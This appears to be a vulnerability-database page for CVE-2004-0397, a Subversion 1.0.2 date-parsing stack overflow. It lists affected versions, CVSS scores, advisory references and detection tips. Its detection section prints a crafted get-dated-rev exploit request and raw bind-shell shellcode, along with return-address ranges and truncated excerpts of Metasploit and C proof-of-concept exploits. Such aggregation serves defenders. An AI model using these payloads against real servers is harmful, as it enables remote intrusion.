CVE-2004-0397
published 2004-07-07CVE-2004-0397: Stack-based buffer overflow during the apr_time_t data conversion in Subversion 1.0.2 and earlier allows remote attackers to execute arbitrary code via a (1)…
PriorityP259high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
75.25%
99.5th percentile
Stack-based buffer overflow during the apr_time_t data conversion in Subversion 1.0.2 and earlier allows remote attackers to execute arbitrary code via a (1) DAV2 REPORT query or (2) get-dated-rev svn-protocol command.
Affected
8 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | subversion | >= 0 < 1.0.3-1 | 1.0.3-1 |
| apache | subversion | >= 0 < 1.0.3-1 | 1.0.3-1 |
| apache | subversion | >= 0 < 1.0.3-1 | 1.0.3-1 |
| apache | subversion | >= 0 < 1.0.3-1 | 1.0.3-1 |
| debian | subversion | < subversion 1.0.3-1 (bookworm) | subversion 1.0.3-1 (bookworm) |
| subversion | subversion | — | — |
| subversion | subversion | — | — |
| subversion | subversion | — | — |
Detection & IOCsextracted from sources · hover to see the quote
command( get-dated-rev ( 314:aaaaaaaa%saaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%saaaaaaaa%saaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 4 a tttt 16:24:23.111 (day 277, dst 1, gmt_off -18000) ) )↗
bytes↗
\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh
- →Exploit targets svnserve on TCP/3690 using the svn:// protocol; monitor for malformed `get-dated-rev` commands with oversized date strings on this port. ↗
- →Exploit sends exactly three sequential SVN protocol messages: capability negotiation, ANONYMOUS auth, then the oversized get-dated-rev payload — detect this pattern on TCP/3690. ↗
- →Payload bad characters for this exploit are null bytes and whitespace (\x00\x09\x0a\x0b\x0c\x0d\x20); IDS signatures for shellcode on TCP/3690 should account for NOP sleds (MinNops=16) preceding the payload. ↗
- →The standalone PoC exploit (exploit-db 304) binds a shell on port 36864 after successful exploitation; monitor for unexpected listening services on this port on SVN servers. ↗
- →The exploit also triggers via DAV2 REPORT HTTP requests; monitor HTTP/HTTPS traffic to SVN WebDAV endpoints for oversized date values in REPORT request bodies. ↗
- ·The Metasploit module uses bruteforce return address stepping; Linux target start address is 0xbffffe13 stepping down to 0xbfff0000, FreeBSD start is 0xbfbffe13 down to 0xbfbf0000 — exploit reliability depends on stack layout matching these ranges. ↗
- ·The Metasploit module only works against the svnserve daemon (svn:// protocol) and will NOT work against Subversion over WebDAV (http[s]://); a separate DAV2 REPORT exploit path exists per the CVE description. ↗
- ·Exploitation may corrupt the Subversion database even when the exploit succeeds; this side-effect can serve as a forensic indicator of attempted exploitation. ↗
- ·The standalone PoC hardcodes target IP as 127.0.0.1 and repository name as 'cool'; real-world attackers would modify these values. ↗
CVSS provenance
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
osv7.5HIGH
vendor_debian7.5HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Debian
CVE-2004-0397: subversion - Stack-based buffer overflow during the apr_time_t data conversion in Subversion ...
vendor_debian·2004·CVSS 7.5
CVE-2004-0397 [HIGH] CVE-2004-0397: subversion - Stack-based buffer overflow during the apr_time_t data conversion in Subversion ...
Stack-based buffer overflow during the apr_time_t data conversion in Subversion 1.0.2 and earlier allows remote attackers to execute arbitrary code via a (1) DAV2 REPORT query or (2) get-dated-rev svn-protocol command.
Scope: local
bookworm: resolved (fixed in 1.0.3-1)
bullseye: resolved (fixed in 1.0.3-1)
forky: resolved (fixed in 1.0.3-1)
sid: resolved (fixed in 1.0.3-1)
trixie: resolved (fixed in 1.0.3-1)
GHSA
GHSA-vwxm-8m4v-97wg: Stack-based buffer overflow during the apr_time_t data conversion in Subversion 1
ghsa_unreviewed·2022-04-29
CVE-2004-0397 [HIGH] GHSA-vwxm-8m4v-97wg: Stack-based buffer overflow during the apr_time_t data conversion in Subversion 1
Stack-based buffer overflow during the apr_time_t data conversion in Subversion 1.0.2 and earlier allows remote attackers to execute arbitrary code via a (1) DAV2 REPORT query or (2) get-dated-rev svn-protocol command.
OSV
CVE-2004-0397: Stack-based buffer overflow during the apr_time_t data conversion in Subversion 1
osv·2004-07-07·CVSS 7.5
CVE-2004-0397 [HIGH] CVE-2004-0397: Stack-based buffer overflow during the apr_time_t data conversion in Subversion 1
Stack-based buffer overflow during the apr_time_t data conversion in Subversion 1.0.2 and earlier allows remote attackers to execute arbitrary code via a (1) DAV2 REPORT query or (2) get-dated-rev svn-protocol command.
No detection rules found.
Exploit-DB
Subversion - Date Svnserve (Metasploit)
exploitdb·2010-08-07
CVE-2004-0397 Subversion - Date Svnserve (Metasploit)
Subversion - Date Svnserve (Metasploit)
---
##
# $Id: svnserve_date.rb 9971 2010-08-07 06:59:16Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/exploit/http/client'
class Metasploit3 'Subversion Date Svnserve',
'Description' => %q{
This is an exploit for the Subversion date parsing overflow. This
exploit is for the svnserve daemon (svn:// protocol) and will not work
for Subversion over webdav (http[s]://). This exploit should never
crash the daemon, and should be safe to do multi-hits.
**WARNING** This exploit seems to (not very of
Exploit-DB
Subversion 1.0.2 - 'svn_time_from_cstring()' Remote Overflow
exploitdb·2004-06-25
CVE-2004-0397 Subversion 1.0.2 - 'svn_time_from_cstring()' Remote Overflow
Subversion 1.0.2 - 'svn_time_from_cstring()' Remote Overflow
---
/* subversion-1.0.2 exploit by Gyan Chawdhary ...
* exploits a stack overflow in the svn_time_from_cstring() function. We build
* a date format which is valid but at the same time exits after the sscanf
* function, or else it branches into another function which segfaults at the
* apr_pool_t *pool. We overwrite our eip with a pointer to the main *data
* buffer stored in the heap where our shell code is stored in the main request
* itself. This is cause the local stack space for svn_time_from_cstring is
* small. Will bind a shell on 36864 port. Modify it for ur own usage.
*
* boring exploit for a boring vulnerability
* Gyan
*/
#include
#include
#include
#include
#include
#include
#include
#define BUF_SIZE ( 1024 * 2 )
#d
Exploit-DB
Subversion 1.0.2 - Date Overflow (Metasploit)
exploitdb·2004-05-19
CVE-2004-0397 Subversion 1.0.2 - Date Overflow (Metasploit)
Subversion 1.0.2 - Date Overflow (Metasploit)
---
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/exploit/http'
class Metasploit3 'Subversion Date Svnserve',
'Description' => %q{
This is an exploit for the Subversion date parsing overflow. This
exploit is for the svnserve daemon (svn:// protocol) and will not work
for Subversion over webdav (http[s]://). This exploit should never
crash the daemon, and should be safe to do multi-hits.
**WARNING** This exploit seems to (not very often, I've only seen
it during testing) corrupt the
Metasploit
Subversion Date Svnserve
metasploit
Subversion Date Svnserve
Subversion Date Svnserve
This is an exploit for the Subversion date parsing overflow. This exploit is for the svnserve daemon (svn:// protocol) and will not work for Subversion over webdav (http[s]://). This exploit should never crash the daemon, and should be safe to do multi-hits. **WARNING** This exploit seems to (not very often, I've only seen it during testing) corrupt the subversion database, so be careful!
No writeups or analysis indexed.
http://lists.grok.org.uk/pipermail/full-disclosure/2004-May/021737.htmlhttp://marc.info/?l=bugtraq&m=108498676517697&w=2http://secunia.com/advisories/11642http://secunia.com/advisories/11675http://security.e-matters.de/advisories/082004.htmlhttp://subversion.tigris.org/svn-sscanf-advisory.txthttp://www.gentoo.org/security/en/glsa/glsa-200405-14.xmlhttp://www.linuxsecurity.com/advisories/fedora_advisory-4373.htmlhttp://www.osvdb.org/6301http://www.securityfocus.com/archive/1/363814http://www.securityfocus.com/bid/10386https://bugzilla.fedora.us/show_bug.cgi?id=1748https://exchange.xforce.ibmcloud.com/vulnerabilities/16191http://lists.grok.org.uk/pipermail/full-disclosure/2004-May/021737.htmlhttp://marc.info/?l=bugtraq&m=108498676517697&w=2http://secunia.com/advisories/11642http://secunia.com/advisories/11675http://security.e-matters.de/advisories/082004.htmlhttp://subversion.tigris.org/svn-sscanf-advisory.txthttp://www.gentoo.org/security/en/glsa/glsa-200405-14.xmlhttp://www.linuxsecurity.com/advisories/fedora_advisory-4373.htmlhttp://www.osvdb.org/6301http://www.securityfocus.com/archive/1/363814http://www.securityfocus.com/bid/10386https://bugzilla.fedora.us/show_bug.cgi?id=1748https://exchange.xforce.ibmcloud.com/vulnerabilities/16191
2004-07-07
Published